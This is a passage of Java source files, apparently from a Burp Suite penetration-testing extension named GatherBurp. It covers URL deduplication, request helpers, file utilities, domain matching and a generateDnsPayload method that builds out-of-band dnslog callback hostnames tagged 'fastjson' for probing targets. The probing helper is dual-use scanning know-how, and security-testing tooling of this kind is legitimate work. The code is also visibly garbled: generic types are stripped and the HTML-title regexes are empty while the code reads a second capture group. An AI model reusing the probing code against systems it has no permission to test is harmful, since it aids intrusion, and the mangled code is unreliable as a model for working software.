"UTF-8")); } catch (UnsupportedEncodingException e) { result.append(c); } } else { result.append(c); } } return result.toString(); } private String buildUrl(URL urlObj, String path, String query, String fragment) { StringBuilder urlBuilder = new StringBuilder(); urlBuilder.append(urlObj.getProtocol()).append("://"); urlBuilder.append(urlObj.getHost()); if (urlObj.getPort() != -1) { urlBuilder.append(":").append(urlObj.getPort()); } urlBuilder.append(path); if (query != null && !query.isEmpty()) { urlBuilder.append("?").append(query); } if (fragment != null && !fragment.isEmpty()) { urlBuilder.append("#").append(fragment); } return urlBuilder.toString(); } private IHttpRequestResponse sendRequest(String url, byte[] request) { try { byte[] newRequest = helpers.buildHttpRequest(new URL(url)); return Utils.callbacks.makeHttpRequest(httpService, newRequest); } catch (MalformedURLException e) { return null; } } private boolean isSuccessResponse(IHttpRequestResponse response) { if (response == null || response.getResponse() == null) { return false; } int statusCode = helpers.analyzeResponse(response.getResponse()).getStatusCode(); return statusCode >= 200 && statusCode < 300; } private boolean isBlockedResponse(IHttpRequestResponse response) { if (response == null || response.getResponse() == null) { return false; } int statusCode = helpers.analyzeResponse(response.getResponse()).getStatusCode(); for (int blockedCode : BLOCKED_STATUS_CODES) { if (statusCode == blockedCode) { return true; } } return false; } } ================================================ FILE: src/main/java/burp/utils/UrlCacheUtil.java ================================================ package burp.utils; import burp.IParameter; import javax.rmi.CORBA.Util; import java.net.URL; import java.util.*; import java.util.concurrent.ConcurrentHashMap; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.nio.charset.StandardCharsets; /** * URL缓存工具类 */ public class UrlCacheUtil { // 为不同模块创建独立的缓存集合 private static final Map> MODULE_CACHES = new ConcurrentHashMap<>(); /** * 检查URL是否重复 */ public static boolean checkUrlUnique(String moduleName, String method, URL url, List parameters) { try { // 获取模块的缓存集合,如果不存在则创建 Set urlHashSet = MODULE_CACHES.computeIfAbsent(moduleName, k -> Collections.synchronizedSet(new HashSet<>())); // 构建URL特征 String urlHash = buildUrlHash(method, url, parameters); // 检查是否重复,不重复则添加 return urlHashSet.add(urlHash); } catch (Exception e) { Utils.stderr.println(moduleName + " URL去重处理异常: " + e.getMessage()); return true; } } /** * 构建URL特征值 */ private static String buildUrlHash(String method, URL url, List parameters) { StringBuilder urlFeature = new StringBuilder(); urlFeature.append(method.toUpperCase()) .append("|") .append(url.getProtocol()) .append("://") .append(url.getHost().toLowerCase()) .append(":") .append(url.getPort()) .append(normalizePath(url.getPath())); if (parameters != null && !parameters.isEmpty()) { Map paramMap = new TreeMap<>(); for (IParameter param : parameters) { if (param != null && param.getName() != null) { paramMap.put(param.getName(), param.getValue()); } } if (!paramMap.isEmpty()) { urlFeature.append("?"); for (Map.Entry entry : paramMap.entrySet()) { urlFeature.append(entry.getKey()) .append("=") .append(entry.getValue()) .append("&"); } } } return simpleHash(urlFeature.toString()); } /** * 简单的字符串哈希函数 */ private static String simpleHash(String input) { int hash = 0; for (byte b : input.getBytes(StandardCharsets.UTF_8)) { hash = 31 * hash + (b & 0xff); } return String.format("%08x", hash); } /** * 规范化路径 */ private static String normalizePath(String path) { if (path == null || path.isEmpty()) { return "/"; } path = path.replaceAll("/+", "/"); if (!path.startsWith("/")) { path = "/" + path; } if (path.length() > 1 && path.endsWith("/")) { path = path.substring(0, path.length() - 1); } return path; } /** * 重置指定模块的缓存 */ public static void resetCache(String moduleName) { Set cache = MODULE_CACHES.get(moduleName); if (cache != null) { cache.clear(); } } /** * 重置所有缓存 */ public static void resetAllCaches() { MODULE_CACHES.clear(); } /** * 获取指定模块的缓存大小 */ public static int getCacheSize(String moduleName) { Set cache = MODULE_CACHES.get(moduleName); return cache != null ? cache.size() : 0; } } ================================================ FILE: src/main/java/burp/utils/Utils.java ================================================ package burp.utils; import burp.IBurpExtenderCallbacks; import burp.IExtensionHelpers; import burp.IHttpRequestResponse; import java.io.*; import java.net.URL; import java.net.URLEncoder; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; import java.util.*; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * Burp扩展工具类 * 提供文件操作、字符串处理、URL处理等通用功能 */ public final class Utils { // ================ 常量定义 ================ private static final String DEFAULT_DATETIME_PATTERN = "yyyy-MM-dd HH:mm:ss"; private static final String DEFAULT_FILE_DATETIME_PATTERN = "MMdd-HHmmss"; private static final String REQ_FILE_SUFFIX = ".req"; private static final String DEFAULT_CHARSET = "UTF-8"; // ================ 静态字段 ================ public static final String NAME = "GatherBurp"; public static final String VERSION = "1.2.0"; public static final String AUTHOR = "Xm17"; public static final String WORKDIR = System.getProperty("user.home") + "/.gather/"; public static IBurpExtenderCallbacks callbacks; public static IExtensionHelpers helpers; public static PrintWriter stdout; public static PrintWriter stderr; public static boolean isSelect = false; /** * HTML标题提取的正则表达式 */ private static final Pattern TITLE_PATTERN = Pattern.compile("(.*?)", Pattern.CASE_INSENSITIVE); private static final Pattern HEADING_PATTERN = Pattern.compile("(.*?)", Pattern.CASE_INSENSITIVE); // ================ 文件操作相关 ================ /** * 写入请求到文件 * @param message HTTP请求响应对象 * @return 文件绝对路径 */ public static String writeReqFile(IHttpRequestResponse message) { String host = message.getHttpService().getHost(); String timeString = DateTimeFormatter.ofPattern(DEFAULT_FILE_DATETIME_PATTERN) .format(LocalDateTime.now()); String filename = String.format("%s.%s%s", host, timeString, REQ_FILE_SUFFIX); File requestFile = new File(WORKDIR, filename); writeBytes(message.getRequest(), requestFile); return requestFile.getAbsolutePath(); } /** * 获取Socks配置文件 */ public static File SocksConfigFile(String filename) { return new File(WORKDIR, filename); } /** * 读取文件内容为字符串 */ public static String readString(File file, String charset) { if (file == null || !file.exists()) { return null; } try { return new String(Files.readAllBytes(file.toPath()), charset); } catch (IOException e) { stderr.println("Error reading file: " + e.getMessage()); return null; } } /** * 将字符串写入文件 */ public static boolean writeString(String content, File file, String charset) { try { createParentDirs(file); Files.write(file.toPath(), content.getBytes(charset)); return true; } catch (IOException e) { stderr.println("Error writing file: " + e.getMessage()); return false; } } /** * 写入字节数组到文件 */ public static boolean writeBytes(byte[] data, File file) { if (data == null || file == null) { return false; } try { createParentDirs(file); try (FileOutputStream out = new FileOutputStream(file)) { out.write(data); out.flush(); return true; } } catch (IOException e) { stderr.println("Error writing bytes: " + e.getMessage()); return false; } } /** * 删除所有.req后缀的缓存文件 */ public static boolean deleteReqFile() { File dir = new File(WORKDIR); if (!dir.exists()) { return false; } File[] files = dir.listFiles((d, name) -> name.endsWith(REQ_FILE_SUFFIX)); if (files == null) { return false; } Arrays.stream(files).forEach(File::delete); return true; } // ================ URL处理相关 ================ /** * 判断URL是否为黑名单后缀 */ public static boolean isUrlBlackListSuffix(String url) { String noParameterUrl = url.split("\\?")[0]; int lastDotIndex = noParameterUrl.lastIndexOf('.'); if (lastDotIndex == -1) { return false; } String urlSuffix = noParameterUrl.substring(lastDotIndex + 1).toLowerCase(); return getSuffix().contains(urlSuffix.toLowerCase()); } /** * 获取URL的根路径(不包含文件名) */ public static String getUrlWithoutFilename(URL url) { String rootPath = getUrlRootPath(url); String path = url.getPath(); if (path.isEmpty()) { return rootPath + "/"; } // 特殊处理django swagger if (url.getFile().endsWith("/?format=openapi")) { return rootPath + url.getFile(); } return path.endsWith("/") ? rootPath + path : rootPath + path.substring(0, path.lastIndexOf('/') + 1); } /** * 获取URL的协议+主机+端口 */ public static String getUrlRootPath(URL url) { return String.format("%s://%s:%d", url.getProtocol(), url.getHost(), url.getPort()); } // ================ 字符串处理相关 ================ /** * 从HTML响应体中提取标题 */ public static String extractTitle(String responseBody) { // 尝试从title标签提取 Matcher titleMatcher = TITLE_PATTERN.matcher(responseBody); if (titleMatcher.find()) { String title = titleMatcher.group(2); if (title != null && !title.isEmpty()) { return title; } } // 尝试从heading标签提取 Matcher headingMatcher = HEADING_PATTERN.matcher(responseBody); if (headingMatcher.find()) { String heading = headingMatcher.group(2); if (heading != null && !heading.isEmpty()) { return heading; } } return ""; } /** * 移除字符串中的特殊字符 */ public static String ReplaceChar(String input) { return input.replaceAll("[\\n\\r]", ""); } /** * 去除字符串两端的双引号 */ public static String RemoveQuotes(String input) { return input.startsWith("\"") && input.endsWith("\"") ? input.substring(1, input.length() - 1) : input; } // ================ 编码相关 ================ /** * URL编码 */ public static String UrlEncode(String input) { try { return URLEncoder.encode(input, StandardCharsets.UTF_8.name()); } catch (UnsupportedEncodingException e) { return input; } } /** * UTF-8编码 */ public static String Utf8Encode(String input) { return new String(input.getBytes(StandardCharsets.UTF_8), StandardCharsets.UTF_8); } // ================ 时间相关 ================ /** * 获取当前时间的格式化字符串 */ public static String getCurrentTime() { return LocalDateTime.now() .format(DateTimeFormatter.ofPattern(DEFAULT_DATETIME_PATTERN)); } // ================ 私有辅助方法 ================ /** * 创建父目录(如果不存在) */ private static void createParentDirs(File file) { File parent = file.getParentFile(); if (parent != null && !parent.exists()) { parent.mkdirs(); } } /** * 获取静态资源后缀黑名单 */ private static Set getSuffix() { return new HashSet<>(Arrays.asList( "js", "css", "jpg", "png", "gif", "ico", "svg", "woff", "ttf", "eot", "woff2", "otf", "mp4", "mp3", "avi", "flv", "swf", "webp", "zip", "rar", "7z", "gz", "tar", "exe", "pdf", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "txt", "xml", "apk", "ipa", "dmg", "iso", "img", "torrent", "jar", "war", "py" )); } // 禁止实例化 private Utils() { throw new AssertionError("No Utils instances for you!"); } /** * 检查域名是否匹配给定的域名列表 * 支持通配符匹配,例如: * - 完全匹配: example.com 匹配 example.com * - 子域名匹配: sub.example.com 匹配 *.example.com * - 多级匹配: a.b.example.com 匹配 *.*.example.com * * @param targetDomain 要检查的域名 * @param allowedDomains 允许的域名列表 * @return 如果匹配返回true,否则返回false */ public static boolean isMatchDomainName(String targetDomain, List allowedDomains) { // 参数验证 if (targetDomain == null || targetDomain.trim().isEmpty() || allowedDomains == null || allowedDomains.isEmpty()) { return false; } // 处理输入域名 targetDomain = cleanDomainName(targetDomain); if (targetDomain.isEmpty()) { return false; } // 反转目标域名,便于从右到左匹配 String reversedTarget = new StringBuilder(targetDomain).reverse().toString(); // 遍历允许的域名列表进行匹配 for (String allowedDomain : allowedDomains) { // 清理和反转待匹配的域名 allowedDomain = cleanDomainName(allowedDomain); if (allowedDomain.isEmpty()) { continue; } // 如果完全匹配,直接返回true if (targetDomain.equals(allowedDomain)) { return true; } String reversedAllowed = new StringBuilder(allowedDomain).reverse().toString(); // 如果两个域名都包含点号,进行通配符匹配 if (reversedTarget.contains(".") && reversedAllowed.contains(".")) { if (isWildcardMatch(reversedTarget, reversedAllowed)) { return true; } } } return false; } /** * 清理域名字符串,移除端口号和空白字符 */ private static String cleanDomainName(String domain) { domain = domain.trim(); // 移除端口号 int portIndex = domain.indexOf(':'); if (portIndex > 0) { domain = domain.substring(0, portIndex); } return domain; } /** * 通配符匹配两个反转的域名 */ private static boolean isWildcardMatch(String reversedTarget, String reversedPattern) { String[] targetParts = reversedTarget.split("\\."); String[] patternParts = reversedPattern.split("\\."); // 调整两个数组长度一致 int maxLength = Math.max(targetParts.length, patternParts.length); targetParts = adjustArray(targetParts, maxLength); patternParts = adjustArray(patternParts, maxLength); // 逐级比较 for (int i = 0; i < maxLength; i++) { String targetPart = targetParts[i]; String patternPart = patternParts[i]; // 如果模式中有通配符或者两部分相等,继续比较 if (!patternPart.equals("*") && !patternPart.equals(targetPart)) { return false; } } return true; } /** * 调整数组长度,使用通配符填充 */ private static String[] adjustArray(String[] array, int targetLength) { if (array.length >= targetLength) { return array; } String[] newArray = new String[targetLength]; System.arraycopy(array, 0, newArray, 0, array.length); Arrays.fill(newArray, array.length, targetLength, "*"); return newArray; } /** * 生成带目标信息的dnslog地址 * @param targetUrl 目标URL * @param dnslog dnslog基础地址 * @return 完整的dnslog地址 */ public static String generateDnsPayload(URL targetUrl, String dnslog) { if (targetUrl == null || dnslog == null || dnslog.isEmpty()) { return dnslog; } // 获取目标域名和URI String targetDomain = targetUrl.getHost(); String targetUri = targetUrl.getPath(); if(targetUri.startsWith("/")) { targetUri = targetUri.substring(1); } // 拼接dnslog地址:目标域名.URI路径.dnslog地址 String dnslogPayload = targetDomain + "." + targetUri + "." + "fastjson" + "." + dnslog; // 处理特殊字符 dnslogPayload = sanitizeDnsPayload(dnslogPayload); return dnslogPayload; } /** * 处理DNS payload中的特殊字符 * @param payload 原始payload * @return 处理后的payload */ private static String sanitizeDnsPayload(String payload) { if (payload == null || payload.isEmpty()) { return payload; } // 将非字母数字的字符替换为点号 String sanitized = payload.replaceAll("[^a-zA-Z0-9.]", "."); // 处理可能出现的多个连续点号 sanitized = sanitized.replaceAll("\\.+", "."); // 如果末尾有点号,去除 sanitized = sanitized.replaceAll("\\.$", ""); return sanitized; } } ================================================ FILE: src/main/resources/logback.xml ================================================